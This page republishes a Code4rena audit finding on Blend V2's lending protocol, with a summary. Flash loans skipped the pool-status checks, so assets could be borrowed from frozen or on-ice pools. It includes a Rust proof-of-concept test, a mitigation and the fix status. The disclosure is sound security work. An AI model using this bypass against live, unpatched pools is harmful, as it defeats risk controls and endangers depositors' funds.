Skip to content
Business logic Audit finding Intermediate

Flash loans allow borrowing from frozen pools, bypassing security controls

The flash loan function in Blend's lending pool did not check the pool's status, so a user could borrow assets even when the pool was frozen or on-ice. An attacker could use a flash loan to effectively perform a borrow operation that should have been blocked by the pool's risk controls.

Testerbot Follow with 0x007, aldarion and 4 others

Originally disclosed on Code4rena

Submitted by Testerbot, also found by 0x007, aldarion, carrotsmuggler, oakcobalt, peakbolt, and YouCrossTheLineAlfie

https://github.com/code-423n4/2025-02-blend/blob/f23b3260763488f365ef6a95bfb139c95b0ed0f9/blend-contracts-v2/pool/src/pool/submit.rs#L868-L895

Finding description and impact

Changing a pool’s status is crucial for risk management in Blend’s lending protocol, serving as an automatic circuit breaker that responds to changing risk conditions. The three states (Active, On Ice, Frozen) are triggered based on backstop depositors’ withdrawal behavior, as these depositors provide first-loss capital and are most sensitive to risk. When withdrawal queues reach certain thresholds, the protocol restricts operations accordingly, preventing further risk accumulation during uncertain market conditions or when the pool’s health is deteriorating. Pool owners can also manually put the pool on-ice or even frozen it to respond to risks they observe, ensuring the protocol remains resilient against any issues.

The rules for these changes are outlined in the functions:

  • execute_set_pool_status(), here.
  • execute_update_pool_status(), here.

The pool status is checked before processing any operation in the pool, this can be observed in the build_actions_from_request() function, here. The validation happens in the pool.rs file under the require_action_allowed() function:

pub fn require_action_allowed(&self, e: &Env, action_type: u32) {
        // disable borrowing or auction cancellation for any non-active pool and disable supplying for any frozen pool
        if (self.config.status > 1 && (action_type == 4 || action_type == 9))
            || (self.config.status > 3 && (action_type == 2 || action_type == 0))
        {
            panic_with_error!(e, PoolError::InvalidPoolStatus);
        }
    }

If the pool is the frozen or even on-ice state, the protocol should panic.

However, there’s a critical security vulnerability in the flash loan implementation. In the way the flash loans are implemented, a user is not obligated to return the borrowed assets, instead the user can keep the funds as a borrow as long as they have a healthy position after the flash loan. In this way, the flash loans can be used to make a simple borrow operation.

The issue arises because the flash loan implementation do not implement the pool and reserve status validations that are present in the normal borrowing flow in fuctions like build_actions_from_request() and apply_borrow() with the pool.require_action_allowed() and reserve.require_action_allowed() checks respectively.

Proof of concept

  1. Admin freezes the pool by setting the pool status to indicate it’s frozen

    • The pool can get frozen permissionless also if the backstop withdrawals reach a certain threshold.
  2. Normal borrowing attempts are rejected due to the validation check in build_actions_from_request().

  3. However, an attacker can still borrow assets by using the flash loan functionality.

Follow the next steps to reproduce the issue in a coded test:

In the test-suites/tests/test_flash_loan.rs file, paste the following test:

#[test]
fn test_flashloan_bypass_frozen_pool() {
    let fixture = create_fixture_with_data(true);
    let pool_fixture = &fixture.pools[0];
    let frodo = fixture.users[0].clone();

    let xlm = &fixture.tokens[TokenIndex::XLM];
    let xlm_address = xlm.address.clone();
    let stable = &fixture.tokens[TokenIndex::STABLE];
    let stable_address = stable.address.clone();

    let (receiver_address, _) = create_flashloan_receiver(&fixture.env);

    let samwise = Address::generate(&fixture.env);

    let approval_ledger = fixture.env.ledger().sequence() + 17280;

    xlm.mint(&samwise, &(100 * SCALAR_7));
    xlm.approve(
        &samwise,
        &pool_fixture.pool.address,
        &i128::MAX,
        &approval_ledger,
    );
    stable.mint(&samwise, &(100 * SCALAR_7));
    stable.approve(
        &samwise,
        &pool_fixture.pool.address,
        &i128::MAX,
        &approval_ledger,
    );

    let supply_collateral_request: Vec<Request> = vec![
        &fixture.env,
        Request {
            request_type: RequestType::SupplyCollateral as u32,
            address: stable_address.clone(),
            amount: 50 * SCALAR_7,
        },
    ];

    pool_fixture.pool.submit(&samwise, &samwise, &samwise, &supply_collateral_request);

    let flash_loan = FlashLoan {
        contract: receiver_address.clone(),
        asset: xlm_address.clone(),
        amount: 1_000 * SCALAR_7,
    };

    // No requests.
    let actions_request: Vec<Request> = vec![
        &fixture.env,
    ];

    // Pool is frozen.
    pool_fixture.pool.set_status(&4);
    let pool_status = pool_fixture.pool.get_config();
    assert_eq!(pool_status.status, 4);

    // However flash loan will go through.
    pool_fixture
        .pool
        .flash_loan(&samwise, &flash_loan, &actions_request);
}

Run the test with cargo test --test test_flashloan -- --nocapture -- test_flashloan_bypass_frozen_pool.

Recommended mitigation steps

Add the validations pool.require_action_allowed() and reserve.require_action_allowed() in the flash loan implementation.

markus_pl10 (Script3) confirmed

Blend mitigated:

Commit e4ed914 to clean up flash loans implementation.

Status: Initial fix resolved the issue described in Testerbot’s submission S-276, but did not resolve the issue described in duplicate submission S-308 by peakbolt. Please refer to the Mitigation Review section of this report for additional details.


The original report as published on Code4rena, by Testerbot. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

A user could borrow assets from a frozen or on-ice pool, bypassing the protocol's risk controls that are meant to prevent further risk accumulation.

What the attacker needed

Pool is frozen or on-ice; attacker has collateral to supply

The fix

The flash loan implementation should include the pool and reserve status validation checks; the initial fix resolved this issue but did not resolve a related duplicate submission.

How it was found

  1. The admin freezes the pool by setting its status to frozen (or it becomes frozen automatically via backstop withdrawals).
  2. Normal borrowing attempts are rejected by the status validation in build_actions_from_request().
  3. An attacker calls the flash loan function with no follow-up requests, which succeeds despite the frozen status.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A lending pool can be frozen by its owners or automatically when risk rises, to stop people from borrowing more money. The flash loan feature lets someone borrow and repay within one transaction, but here it also allowed keeping the borrowed money as a normal loan. Because the flash loan code forgot to check whether the pool was frozen, someone could still borrow from a frozen pool.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by Testerbot

View all

2 more disclosed reports, best first.

More from Blend V2 Audit + Certora Formal Verification

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.